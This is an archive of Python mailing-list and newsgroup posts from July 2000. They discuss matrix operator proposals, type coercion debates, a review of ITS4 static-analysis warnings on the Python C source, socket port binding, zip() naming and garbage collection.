Subject: From UNIX to Win NT
References: <3960B33F.98B23C40@sec.noaa.gov>
Message-ID: <memo.20000706190549.3805A@digitig.compulink.co.uk>

In article <3960B33F.98B23C40 at sec.noaa.gov>, jvickroy at sec.noaa.gov (j 
vickroy) wrote:

> Mark isn't here yet but his book (Python Programming on Win 32) is 

<snip>

And very promising it looks, too; I bought it today!


From hzhu at users.sourceforge.net  Fri Jul 28 18:27:24 2000
From: hzhu at users.sourceforge.net (Huaiyu Zhu)
Date: Fri, 28 Jul 2000 22:27:24 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com> <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com> <8lla9m$hfd$1@animus.fel.iae.nl>
Message-ID: <slrn8o42dq.1cq.hzhu@rocket.knowledgetrack.com>

On 26 Jul 2000 02:10:30 +0200, Carel Fellinger <cfelling at iae.nl> wrote:
>Hai Math-lovers,
>
>Very interesting discussion sofar, and clearly heading into something
>nice and pythonic now.

Glad to hear this.  :-)

>(opt) looks to me as some expression on operators, not as a simple operator.
><opt> looks like an operator and was defenitely my favorite, until Huaiyu
>showed us <->. 

I think it was actually Tim Hochberg who noticed this.

>It still looks like an operator, but not aka some minus but
>aka some equivalence function or what have you. A big minus:( I would feel
>sorry if more of those wierd symbols would enter Python. In fact the reason
>I now favour ~opt is that that might open the way to get rid of those ugly
>bitwise operator symbols using ~ as a generic 'element/bit-wise' prefix:
>
>| becomes ~or,
>^ becomes ~xor,
>& becomes ~and, and
>~ becomes ~not, reading like bitwise or, bitwise xor etc.

This would indeed be an excellent option if not for backward compatibility.
I did a little rgrep over the python source.  It appears that each of these
symbols appears in between 200 and 1000 lines of code, depending on how much
usage in regular expressions is filtered out.  Most of the usages are rather
simple, often of the form

FLAG = FLAG1 | FLAG2 | FLAG3 | FLAG4 | FLAG5 | FLAG6 | FLAG7 | FLAG8

which would be much written as

FLAG = bitwise.or(FLAG1, FLAG2, FLAG3, FLAG4, FLAG5, FLAG6, FLAG7, FLAG8)

Changing such code is not a small undertaking, but it is not really
prohibitive.  OTOH, it is of course an entirely different story to ensure
nothing breaks "in the wild".

Even if we could not grab these operators for math right now, I'd still
suggest that a bitwise module replaces the bitwise operators.  Bitwise
operations are remnants of an older era of computing, and they are not
explicitly used in the operations of most high level objects.  It is, IMHO,
quite "unpythonic" to let them occupy four unique ascii characters as
operators with their own precedences - most users could not even remember
which is which without checking reference.  It is better to use descriptive
names.

Furthermore, unlike math operators, unless you are designing a logical
circuit, it is rare to construct complicated formulas with these operators.
So brevity is really not important for them.

>Much easier to remember but for ~not, besides thanks to the prefix ~
>there is no need for a new xor-keyword. And as ~ is never used on its
>own anymore, it's bound to be easier on the eyes in visual parsing of
>expressions, and definitely better then <opt> (see below)
>
>> a ~add b < c
>> a <add> b < c

I'd agree here.

>And now that w've got 'better' bitwise operator symbols we could use ^ to
>mean 'to the power of' (like I always think if I forget to look it up:) and
>we could use | or ~| to mean 'solve' (whatever that means).

We could still steal ^ for matrix if we want to,  (Opinions?)  like

class Matrix:
	def pow(self, other): ...
	__xor__ = __pow__ = pow

"solve" is simply "left division", like (if | is solve)

solution of x*a==b is x=div(b,a), or x=b/a
solution of a*x==b is x=sol(a,b), or x=a|b

Why do they differ?  Because for matrices, a*x==x*a is not true in general.
But why can't we use inverse (denoted by .I)?

x = b*a.I
x = a.I*b

Because calculating inverse then followed by a multiplication is quite
expensive compared with a direct division.  To see this is also true for
ordinary numbers, contrast doing 35.0/14.0 and 35.0*(1/14.0) by hand.

However, we've just figured out that the proposal of lazy execution of .I is
not so complicated to implement.  So we can let a.I be a new matrix (without
numerical work) until we see a.I*b, which is done as sol(a,b).  One key
point for feasibility is that the .H, .T, .I, .C could all be done like this
individually, because a.I.H==a.H.I, etc.


So the situation now is that we only need five new operators which parallels
the current + - * / **.  I'm going to write a PEP for using ~+, ~-, ~*, ~/,
~**.  It would take quite some effort to summarize all the pros and cons
raised in these threads, though.

BTW, if we ever desire to extend python in the future with general named
operators, perhaps @opname is a better choice because @ is associated
visually more closely with letters.  In any case, these two extensions are
of different categories. The ~op retain the precedence of existing op, while
the @opname type would have to share one fixed precedence if they are more
functionlike.


Huaiyu


From thomas at xs4all.nl  Mon Jul  3 07:43:31 2000
From: thomas at xs4all.nl (Thomas Wouters)
Date: 3 Jul 2000 11:43:31 GMT
Subject: Python CGI security
References: <B5851962.5E%bojar@speakeasy.org> <39603713.47CD2012@stroeder.com> <slrn8m0j4j.m2b.thomas@centurion.xs4all.nl> <39605B6A.28B4E36D@stroeder.com>
Message-ID: <slrn8m0v2d.m5d.thomas@centurion.xs4all.nl>

On Mon, 03 Jul 2000 11:22:50 +0200, Michael Str?der <michael at stroeder.com>
wrote:
>Thomas Wouters wrote:
>> On Mon, 03 Jul 2000 08:47:47 +0200, Michael Str?der <michael at stroeder.com>
>> wrote:
>> >"E. Jordan Bojar" wrote:
>> 
>> >> [..] buffer overflow [..] 
>> 
>> >I'm not a C programmer at all and therefore I just naively used a
>> >tool named ITS4: <URL: http://www.rstcorp.com/its4/> to find parts
>> >in the Python interpreter which might have buffer overrun issues. I
>> >would really like to have some discussion about the ITS4-output.
>> 
>> If you do want to have that discussion, feel free to send me that report, 
>> or post it here

>Ok, here are some examples from Python1.6a2 sources (see below). I'm
>not a C programmer therefore such tools are my only possibility to
>raise some discussion by pointing to code. Off course the tool
>outputs only hints. Not every code line listed is a real security
>hole.

>I understand that the Python application itself is responsible for
>dealing with some issues (e.g. race conditions with files) since the
>Python libs only wrap some system libs. And I understand that some
>of the listed functions as being dangerous are used in a safe way
>with appropriate parameters.

Indeed. And a couple of the 'security issues', for instance those with
popen() and system(), and the race conditions in stat/access etc, Python
itself does not care to solve, but instead delegates to the scripts it is
executing ;)

Python will not run set-uid out of the box. You have to supply your own
setuid-wrapper if you want it to, in which case you should also take care
with those functions. None the less, the seperation of environment variables
and system() and popen() makes it slightly less insecure than C.

Also, this suite you used seems to be targeted towards data-handling
engines, like webservers, in a hostile environment. This is entirely unlike
Python's usual environment. If you plan on programming in such environments,
you should take care with your programs. Python will not do the Right Thing
each time, but it also does not pretend it does. The habit of throwing
exceptions on errors instead of returning an undefined value and continueing
on helps prevent a lot of tight spots, though.

But I'll do a quick run through the 'hotspots':

>----------------------------------------------------------------------
>Modules/posixmodule.c:248:(Urgent) popen
>Easy to run arbitrary commands through env vars.
>Use fork + execve + pipes instead.
>----------------

See above. popen() is supplied to Python scripts, but python itself does not
use it. Using popen() yourself should ofcourse be done carefully :P

>----------------
>Modules/posixmodule.c:1151:(Urgent) system
>Easy to run arbitrary commands through env vars. Also, potential
>TOCTOU
>problems.
>Use fork + execve instead.
>----------------

See popen()

>----------------
>Modules/posixmodule.c:605:(Very Risky) access
>Potential race condition on: path
>Points of concern are:
>Modules/posixmodule.c:605: access
>Modules/posixmodule.c:701: chmod
>Modules/posixmodule.c:1063: mkdir
>Modules/posixmodule.c:1065: mkdir
>Modules/posixmodule.c:1254: utime
>Modules/posixmodule.c:2235: readlink
>Modules/posixmodule.c:3263: statvfs
>Manipulate file descriptors, not symbolic names, when possible.
>----------------

See popen(). If you stat for a filename, you should be aware that it can go
away from under you. 

>----------------
>Modules/main.c:117:(Very Risky) getenv
>Often seen in conjunction with buffer overflows, etc.
>Remember that env vars can contain arbitrary malicious input.  Test
>accordingly
>before use.
>----------------

Good warning for every programmer in hostile environments, but not
applicable to python itself. Usually Python scripts are not setuid, so they
can trust their environment (they run under the same permission as who
created that environment, after all.) If you use a setuid wrapper, you
should pass a new, 'safed' environment yourself.

>----------------
>Modules/posixmodule.c:1863:(Very Risky) getlogin
>It is very easy to fool.
>Don't trust its output.
>----------------

See getenv().

>----------------
>Modules/parsermodule.c:1032:(Very Risky) sprintf
>This function is high risk for buffer overflows
>Use snprintf if available, or precision specifiers, if available.
>----------------

Used as safely as necessary. The parser module is not something quickly used
in high security environments in any case.

>----------------
>Modules/getpath.c:186:(Very Risky) stat
>Potential race condition on: filename
>Points of concern are:
>Modules/getpath.c:186: stat
>Modules/getpath.c:216: stat
>Modules/getpath.c:231: stat
>Modules/main.c:194: fopen
>Python/bltinmodule.c:883: fopen
>Python/pythonrun.c:583: fopen
>Python/traceback.c:157: fopen
>Manipulate file descriptors, not symbolic names, when possible.
>----------------

See access

>----------------
>Modules/posixmodule.c:385:(Very Risky) strcat
>This function is high risk for buffer overflows
>Use strncat instead.
>----------------

String lenghts are passed in and recorded seperately, and though I haven't
backtracked it the whole way, they seem to be properly kept up to date. This
is an OS/2 only branch, though.

>----------------
>Modules/posixmodule.c:827:(Very Risky) strcpy
>This function is high risk for buffer overflows
>Use strncpy instead.

String lengths are explicitly checked.



From m.faassen at vet.uu.nl  Sun Jul 30 17:14:48 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 30 Jul 2000 21:14:48 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8lvslc0mn8@news2.newsguy.com> <slrn8o74um.fjt.grey@teleute.rpglink.com>
Message-ID: <8m25s8$ila$3@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
[snip]
>>Losing accumulated logs, and/or logging false data, would be utter
>>disasters. 

>     You're speaking in absolute terms on something which is best determined by
> the end user, not the language.  To me, for a lot of the logs I process, no,
> it isn't a disaster.  It isn't even a minor annoyance.  It is just a speck of
> dust on a rather large desk that I couldn't care less about.  Having the logs
> processing puke on me, or any other of dozens of applications I can think of,
> because of a inconsiquential burp in the data is the real annoyance.

Then catch your exceptions and skip those records. It's very easy, it's
explicit, and at least the rest of us won't get in trouble when we want
our bugs to be ignored as bugs *do* matter.

>>bug is clearly the priority; if subtly-false data were being logged
>>instead, 

>     Uhm, logs processing process logs for one of a variety of uses.  IE, the
> data has already been logged, how can it be falsely logged again?

If you're not worried about such data, then you don't have to worry about
any exceptions to be raised when you use int() either, and you don't
need to have any code to handle exceptions either.

Regards,

Martijn



From vtbl.moorepe at memo.volvo.se  Tue Jul 11 13:05:40 2000
From: vtbl.moorepe at memo.volvo.se (PM)
Date: Tue, 11 Jul 2000 17:05:40 +0000
Subject: Installing and running JPython on the AS/400
References: <3969fb38_1@nnrp1.news.uk.psi.net> <396AE0E4.DB024B52@memo.volvo.se> <0ca898b5.c58cfe2f@usw-ex0104-033.remarq.com>
Message-ID: <396B5387.95C8AB5A@memo.volvo.se>

Try

CLASSPATH=.:/brunns

It extracted OK for me.
Simon B wrote:
> 
> PM <vtbl.moorepe at memo.volvo.se> wrote:
> >I wonder if the installer need a GUI, if so have you set up
> remote AWT?
> >Be interested  to know if you get it working...
> 
> The installation instructions say that you can specify '-o
> targetPath' as an argument to install without showing the GUI.
> Im running the command:
> 
> JAVA CLASS(JPython11) PARM('-o /brunns/') CLASSPATH('/brunns/')
> 
> And I'm getting an error message:
> 
> java.lang.NoClassDefFoundError: JPython11


From ingoogni at home.nl  Sat Jul 29 17:19:23 2000
From: ingoogni at home.nl (ingo)
Date: Sat, 29 Jul 2000 21:19:23 GMT
Subject: cStringIO & write error?
References: <8F80A1458seed7@212.120.66.218> <etdpunw95y2.fsf@w20-575-109.mit.edu>
Message-ID: <8F80E5BE4seed7@212.120.66.218>

Alex wrote:

>Probably nothing -- I ran into a similar incompatibility between
>cStringIO and StringIO a little while back.  I think I got around it by
>doing stuff like this:
> .......

Thanks, 
but in my case it doesn't help me further

Ingo

-- 
Photography: http://members.home.nl/ingoogni/
Pov-Ray    : http://members.home.nl/seed7/


From moshez at math.huji.ac.il  Fri Jul 28 07:28:54 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 14:28:54 +0300 (IDT)
Subject: Perl is worse!
In-Reply-To: <slrn8o2ft4.1e2.grey@teleute.rpglink.com>
Message-ID: <Pine.GSO.4.10.10007281426320.7506-100000@sundial>

On Fri, 28 Jul 2000, Steve Lamb wrote:

>     So I ask you this /VERY/ simple question.  Why can't Python do both?  Hm?
> What is wrong with taking 1 + "1", converting the "1" to a 1 and adding it
> together?  If it is a string that cannot be converted to an integer, throw an
> exception, otherwise, do it.  Then that preserves the 1 + "foo" exception and
> also does the sane thing of getting rid of types when it makes sense to do so.

That is the worst thing it could possibly do! You'd have a program that
works fine on testing with your configuration files, and blows up in the
user's face when he makes a typing error.

>     Hell, why do an exception at all?  Why not do what is already done with
> integers, reals and floats?  

Because numbers are numbers and strings are not. Given, Python's numeric 
model is not very good. Why should the rest of the language suffer?

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From fig at oreilly.com  Mon Jul 17 15:32:08 2000
From: fig at oreilly.com (Stephen R. Figgins)
Date: Mon, 17 Jul 2000 19:32:08 GMT
Subject: Python equivalent of CPAN in Perl
References: <397122FB.71E32674@wl.vg> <8krfa9$vf4$1@nntp9.atl.mindspring.net> <PKYoxIA+wXc5EwNL@jessikat.fsnet.co.uk> <8ksn4i$krd$1@slb6.atl.mindspring.net>
Message-ID: <39735F81.860D808E@oreilly.com>

Aahz Maruch wrote:
> To the extent that this is true, isn't it also true of Perl/CPAN?

Yes, and it was not really solved until ActiveState came along and put
up a repository of precompiled packages for win32 systems.   CPAN still
caters mostly to to a Linux/Unix audience, where Windows users use the
ppm program provide with ActivePerl to retrieve their modules. 

Stephen


From robin at jessikat.co.uk  Fri Jul  7 07:31:08 2000
From: robin at jessikat.co.uk (Robin Becker)
Date: Fri, 7 Jul 2000 12:31:08 +0100
Subject: How to print to stdout in binary
References: <8k1kn5$mkt$1@nnrp1.deja.com> <3965408E.DDD4A2@pehr.net>
 <8k4cjr$fic$1@nnrp1.deja.com>
Message-ID: <Oo9IrBA89bZ5EwGY@jessikat.demon.co.uk>

...
try creating wstdout.py

import sys
sys.stdout.write('123456789\n')

then when I run it as
python wstdout.py >aaa I get the wrong file length as on win32 \n-->\r\n
for text files.

Microsoft(R) Windows 98
   (C)Copyright Microsoft Corp 1981-1999.

C:\>cd \tmp

C:\Tmp>python wstdout.py >aaa

C:\Tmp>dir aaa

 Volume in drive C has no label
 Volume Serial Number is 291A-00FF
 Directory of C:\Tmp

AAA                     11  07/07/00  12:14 aaa
         1 file(s)             11 bytes
         0 dir(s)        2,736.11 MB free

C:\Tmp>

-- 
Robin Becker


From alex at magenta.com  Fri Jul 28 11:40:08 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 17:40:08 +0200
Subject: Perl is worse!
References: <Pine.GSO.4.10.10007281426320.7506-100000@sundial> <398178EA.7576E13A@hursley.ibm.com> <yTgg5.2647$6E.682215@ptah.visi.com>
Message-ID: <8ls9oe01f82@news2.newsguy.com>

"Grant Edwards" <ge at nowhere.none> wrote in message
news:yTgg5.2647$6E.682215 at ptah.visi.com...
> In article <398178EA.7576E13A at hursley.ibm.com>, Paul Duffin wrote:
> >Moshe Zadka wrote:
> >>
> >> Because numbers are numbers and strings are not. Given, Python's
numeric
> >> model is not very good.
> >
> >What is wrong with Python's numeric model ?
>
> I may be a minority, but I don't like integers being converted
> to floats automatically.

I have no problem with that _if it wastes NO information in so
doing_.  I believe that on typical machines of today (32-bit
integers, 64-bit IEEE floating point) this can be guaranteed
*for integers*.  *LONG* integers are another matter...!  And
as I mentioned I think the rational solution to that problem is
not to forbid numeric promotions but to ensure they never
lead to information-loss by introducing the 'rational' type (a
couple of long-integers taken as num/denom of a fraction).
[That's why it's the *rational* solution:-)].


Alex





From hzhu at localhost.localdomain.bbs  Mon Jul 17 16:00:11 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 17 Jul 2000 20:00:11 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRNaB$l1i@openbazaar.net>

On Mon, 17 Jul 2000 14:12:02 -0500, Paul Prescod <paul at prescod.net> wrote:

>Maybe you should consider how to scale back your syntactic request.
>Perhaps a single keyword or symbol at the beginning of an expression
>could make it element-wise or matrix-wise.

Well, that would be fine if it is workable, ie, when they don't appear in
the same expression.

Consider the proposal of having two classes, Matrixwise and Elementwise,
with methods to cast to each other.  I don't know why

(a.E()*b.E()).M()*(c.E()*d.E()).M()

would be more preferable to

(a.*b)*(c.*d)

I chose python because most expressions I write I can visually parse at a
glance.

Please show an example of special xml syntax proposed that was rejected
because it was too special, and we'll see what kind of simplicity the
proposal represents.

Huaiyu


From greg at cosc.canterbury.ac.nz  Fri Jul 28 00:28:47 2000
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Fri, 28 Jul 2000 16:28:47 +1200 (NZST)
Subject: [Python-Dev] PEP 201, zip() builtin
In-Reply-To: <14720.35958.632383.574511@anthem.concentric.net>
Message-ID: <200007280428.QAA09796@s454.cosc.canterbury.ac.nz>

bwarsaw at beopen.com (Barry A. Warsaw):

>      An earlier version of this PEP proposed that
>      zip() return a built-in object that performed lazy evaluation
>      using __getitem__() protocol.  This has been strongly rejected
>      by the BDFL in favor of returning a real Python list. If lazy
>      evaluation is desired in the future, the BDFL suggests an xzip()
>      function be added.

Well, in that case I think the BDFL has just shot this
proposal in the foot as far as being a serious solution
to the parallel for loop problem.

I was willing to live with the idea of using zip() instead
of having a proper parallel iteration syntax, as long as
it was implemented lazily. But now it seems I'll have to
use another ugly x-named function all over the place.

How about calling the lazy version tuples(), so we can
say

   for x,y in tuples(a,b):

which ought to be a whack of a load more intuitively
readable than

   for x,y in xzip(a,b):

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg at cosc.canterbury.ac.nz	   +--------------------------------------+



From jon at bezek.dstc.monash.edu.au  Sun Jul 30 23:04:09 2000
From: jon at bezek.dstc.monash.edu.au (Jonathan Giddy)
Date: 31 Jul 2000 13:04:09 +1000
Subject: Socket question: arbitrary port
References: <39805D19.C005F16F@hotmail.com> <Pine.LNX.4.10.10007271034460.31368-100000@localhost.localdomain> <8F7EB13BAbeablebeable@209.155.56.81>
Message-ID: <jon.965012184@bezek.dstc.monash.edu.au>

] >On Thu, 27 Jul 2000, Jean Bergeron wrote:
] >
] >> Is it possible to connect a socket through an arbitrary port?
] >> In other words, can Python find an available port without having the
] >> programmer (or user) specify a particular port number?
] >> 

So far, the answers have focussed on whether you mean to bind a socket 
(server) or to connect a socket (client).

Assuming you mean to bind a server socket, try calling bind() with the 
port = 0.

This code will setup a listening socket on an arbitrary port:

import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('', 0))
sock.listen(socket.SOMAXCONN)
print sock.getsockname()[1]

conn, addr = sock.accept()

Jon.


From alex at magenta.com  Sat Jul 22 04:10:07 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 22 Jul 2000 10:10:07 +0200
Subject: Class static variables
References: <8l9vb3$kae$1@nnrp1.deja.com> <8la0fa$l9r$1@nnrp1.deja.com> <8la2mp$n5v$1@nnrp1.deja.com> <8lball$jrf$1@nnrp1.deja.com>
Message-ID: <8lblc002pb1@news2.newsguy.com>

<musingattheruins at my-deja.com> wrote in message
news:8lball$jrf$1 at nnrp1.deja.com...
> In article <8la2mp$n5v$1 at nnrp1.deja.com>,
>   Guillaume <forums at memoire.com> wrote:
> >
> > > you are attaching a per-object variable with b.a=2 try CA.a - i
> think
> > > you will find it is still 0.
> > > regards,
> > > bill
> >
> > Right, but what I want is a static class var defined in A.
>
> CA.a __is__ the static class var.  get it?  it's the same for all
> instances.

Yep, but what Guillaume clarified here, I think, is that it's
not the class-var itself that he's after, but, rather, altered
semantics for _assignment_ to it.  In Python,

    b.a = 2

binds or rebinds the a field in the OBJECT b -- doesn't matter
whether or not the CLASS of b also has an a field -- just as,
say, assigning to a inside a function binds or rebinds a in
the LOCAL namespace -- doesn't matter whether the GLOBAL one
has a as well.


This alteration is actually easier for the class case, as has
been pointed out, as long as, of course, __setattr__ knows
about it.  For the variable case you'd HAVE to say global in
each block that rebinds it (analogous to saying CA.a in an
explicit way for the class field case, I guess).


Alex





From cg at schlund.de  Thu Jul 20 04:21:12 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Thu, 20 Jul 2000 10:21:12 +0200
Subject: Determine path of current module?
References: <3976AA30.1C4F62B8@schlund.de> <8l6bis$elb$1@pollux.ip-plus.net>
Message-ID: <3976B678.83F01206@schlund.de>

"J?rgen Hermann" wrote:

> ### mypath.py
> import sys
> print sys.modules[__name__].__file__
> 
> [d:\tmp]python -c "import mypath"
> mypath.py

Well, that's just the filename. What I'm looking for is the complete path,
"d:\tmp\mypath.py" in this case.

Carsten.


From jwbnews at scandaroon.com  Mon Jul 24 20:37:18 2000
From: jwbnews at scandaroon.com (John W. Baxter)
Date: Mon, 24 Jul 2000 17:37:18 -0700
Subject: IEEE 754
References: <LNBBLJKPBEHFEDALKOLCAEINGLAA.tim_one@email.msn.com> <8lifaa$1bb$1@agate.berkeley.edu> <jwbnews-2FB2DC.15315324072000@news.olympus.net> <8liiba$1mh$1@agate.berkeley.edu>
Message-ID: <jwbnews-347B31.17371824072000@news.olympus.net>

In article <8liiba$1mh$1 at agate.berkeley.edu>, ejr at lotus.CS.Berkeley.EDU 
(Edward Jason Riedy) wrote:

> And John W. Baxter writes:
>  - 
>  - You mean I may someday be able to put aside my answers to the "why 
>  - doesn't 2/10 print as 0.2 as we all know it should?" sorts of 
>  questions?
> 
> I wish.  IEEE 854 is a radix-independent FP standard.  It could be
> implemented for base-10 in hardware, but only some hand calculators 
> have done that.  There are many libraries for BCD-style arithmetic, 
> but I don't know how good or fast they are.  I don't understand all 
> the issues involved.
> 
> Way off-topic:  Besides, not all numbers are natural for base-10.  
> One example is pi.  It strongly appears that the only natural base 
> for pi is 16 (pi may be base-16 normal and not base-10 normal).  Not 
> proven yet, but looking likely.  See 
> http://www.nersc.gov/~dhbailey/dhbpapers/bcrandom.ps for some neat
> pi results.
> 
> Back on topic:  Python's answer is even more painful to explain:
> > bash-2.03$ python -c 'print 2/10'
> > 0
> 
> Jason

I have no problem with 2/10 being zero.  If one does integer arithmetic, 
one gets integer arithmetic results.

People who initially learned C with its silly standard conversions and 
different operator definitions have other biases...but I've been around 
computers nearly twice as long as C has (as of sometime around 1994 I 
had to stop saying "more than twice as long").

   --John

-- 
John W. Baxter   Port Ludlow, WA USA  jwbnews at scandaroon.com


From gjm11 at g.local  Wed Jul 19 16:01:22 2000
From: gjm11 at g.local (Gareth McCaughan)
Date: Wed, 19 Jul 2000 21:01:22 +0100
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com> <slrn8na4js.so.hzhu@rock.localdomain>
Message-ID: <slrn8nc28i.1r91.gjm11@g.local>

Huaiyu Zhu wrote:

[Tim Hochberg:]
>> Personally I think that this an overlarge crop of operators to be
>> adding. Since I prefer something like:
>>
>> A.inv * B 
>>
>> to 
>>
>> A \ B
> 
> They are equal in math, but not in practice.  The former takes O(n^3)
> computation while the latter is O(n^2).  The former is also less accurate
> for near singular A because of rounding error.

You can do A\B in O(n^2) time? That's news to me. In fact,
I don't believe you.

(It *is* true that there are more efficient ways to solve
linear equations than by inverting the matrix, but as someone's
pointed out you don't actually need to invert the matrix when
you calculate A.inv() [or, if you insist, A.inv]. You could,
e.g., do an LU decomposition instead.)

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From theebh at yahoo.com  Thu Jul 27 04:44:12 2000
From: theebh at yahoo.com (Jonathan)
Date: Thu, 27 Jul 2000 08:44:12 GMT
Subject: Perl is worse! (was: Python is Wierd!)
Message-ID: <8losor$4bk$1@nnrp1.deja.com>

Just finished putting down the 'Learning Python' book and tried some of
the examples. Somehow i happened to have the itch of grabbing
my 'Programming PERL' book and browse through it again to have a
comparison(it was a long time since i last used PERL, after i picked up
PHP). Looking at the Modules, Packages and Classes chapter, and - oh my
god - the whole thing now looks like a mess! I don't think i will ever
bother using PERL again (unless it's a 5-10 lines kind of thing).
Python's syntax now seem much 'cleaner' and intuitive. But then i guess
you all shld have known this by now:)

But the irony now is that ZOPE will be 'opened' to PERL too. I have
read through the 'debates' going on in the zope mailing list, but it
still doesn't make sense - why allow Zope to be polluted by something
that is clearly deficient? It's like allowing people to use sand
instead of cement to build a house. (I haven't mastered Zope yet, so i
will restrain from commenting any further)

regards,
jonathan


Sent via Deja.com http://www.deja.com/
Before you buy.


From shindich at my-deja.com.bbs  Mon Jul 17 13:40:02 2000
From: shindich at my-deja.com.bbs (shindich at my-deja.com.bbs)
Date: 17 Jul 2000 17:40:02 GMT
Subject: Getting local IP address...
Message-ID: <3bRK52$k4D@openbazaar.net>

In article <8ko8qr$7cd$1 at nnrp1.deja.com>,
  Stephen Hansen <stephen at cerebralmaelstrom.com> wrote:
> How do I go about getting my dynamic IP address? I want to make a
> little program to check periodically (daily or so) and log the results
> so I can determine how often my IP is getting shuffled. :)
>
> Thanks :)
>
> --Stephen
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>
Try this:
   import socket
   socket.gethostbyname (socket.gethostname ())

I hope this helps!
Alex Shindich
http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From moshez at math.huji.ac.il  Sat Jul 22 02:29:42 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 22 Jul 2000 09:29:42 +0300 (IDT)
Subject: iterating over lines in a file
In-Reply-To: <slrn8nhgvb.1vjf.Gareth.McCaughan@g.local>
Message-ID: <Pine.GSO.4.10.10007220929190.6527-100000@sundial>

On Fri, 21 Jul 2000, Gareth McCaughan wrote:

> Moshe Zadka wrote:
> 
> > Preventing world war III, when Python achieves world domination.
> > If C is allowed to achieve world domination, WWIII will be cause by
> > 
> > if(everything_is_ok = 0) {
> > 	launch_missile();
> > }
> 
> No, that will *prevent* WW3 happening when it was supposed to.
> Where do I sign up for the campaign to help C dominate the
> world? :-)

You probably need to reread the condition.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From m.faassen at vet.uu.nl  Mon Jul 31 17:20:30 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 21:20:30 GMT
Subject: [5th Draft] Open Letter to CNRI: Request for clarification
References: <Pine.GSO.4.10.10007312315550.3741-100000@sundial>
Message-ID: <8m4qiu$7eq$1@newshost.accu.uu.nl>

Moshe Zadka <moshez at math.huji.ac.il> wrote:
> On Mon, 31 Jul 2000, Peter Schneider-Kamp wrote:

>> added some names
>> 
>> <flame-shield>Should I add email addresses?</flame-shield>

> I think this should be on an individual base, but I definitely would
> like mine added.

Fine if you add mine as well. (will my name remain at top of this list?
Scary! I hope I won't get all the correspondence, then :)

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From robin at jessikat.fsnet.co.uk  Sat Jul 15 13:30:19 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 15 Jul 2000 18:30:19 +0100
Subject: Neil Schemenauer's GC patch in python1.6?
References: <396F28A1.A181BF39@email.sps.mot.com>
 <3dn1jkljwy.fsf@kronos.cnri.reston.va.us>
Message-ID: <rNL7kWAr+Jc5Ewpe@jessikat.fsnet.co.uk>

In article <3dn1jkljwy.fsf at kronos.cnri.reston.va.us>, Andrew Kuchling
<akuchlin at mems-exchange.org> writes
>Norman Shelley <Norman_Shelley-RRDN60 at email.sps.mot.com> writes:
>> Is Neil Schemenauer's GC patch scheduled to be in python1.6?
>
>Yes, though whoever compiles Python will have the option to include it
>or not, through an argument to the configure script.  Currently in the
>CVS tree, GC is turned on by default, and you can turn it off by
>specifying --without-cycle-gc.  No one knows if it'll default to on or
>off in the final 2.0 release; that depends on how much a performance
>cost is incurred, and how stable the code proves to be.
>
>>Having to design programs and
>> algorithms with reference counting in mind is just as bad as having to
>> remember to remember to use free() when in C or C++.
>
>No it's not; you don't have to worry about things that can't
>participate in cycles, such as strings for example, but in C you'd
>have to carefully handle allocation for them, too.  
>
>--amk
If GC has finally/nearly made it, what about Chris Tismer's stackless?
-- 
Robin Becker


From bjorn at roguewave.com  Sun Jul 23 13:23:17 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sun, 23 Jul 2000 11:23:17 -0600
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <8l6cbp$fgr$1@pollux.ip-plus.net> <3977C2A8.6D8F7586@my.signature> <8la8ib$8um$1@slb2.atl.mindspring.net> <01ihns4q4urkisti1mc02kadfohpo32mov@4ax.com> <397A47C8.B19D60B1@easystreet.com>
Message-ID: <397B2A05.2115DB6D@roguewave.com>

Anyone suggested parallel yet?

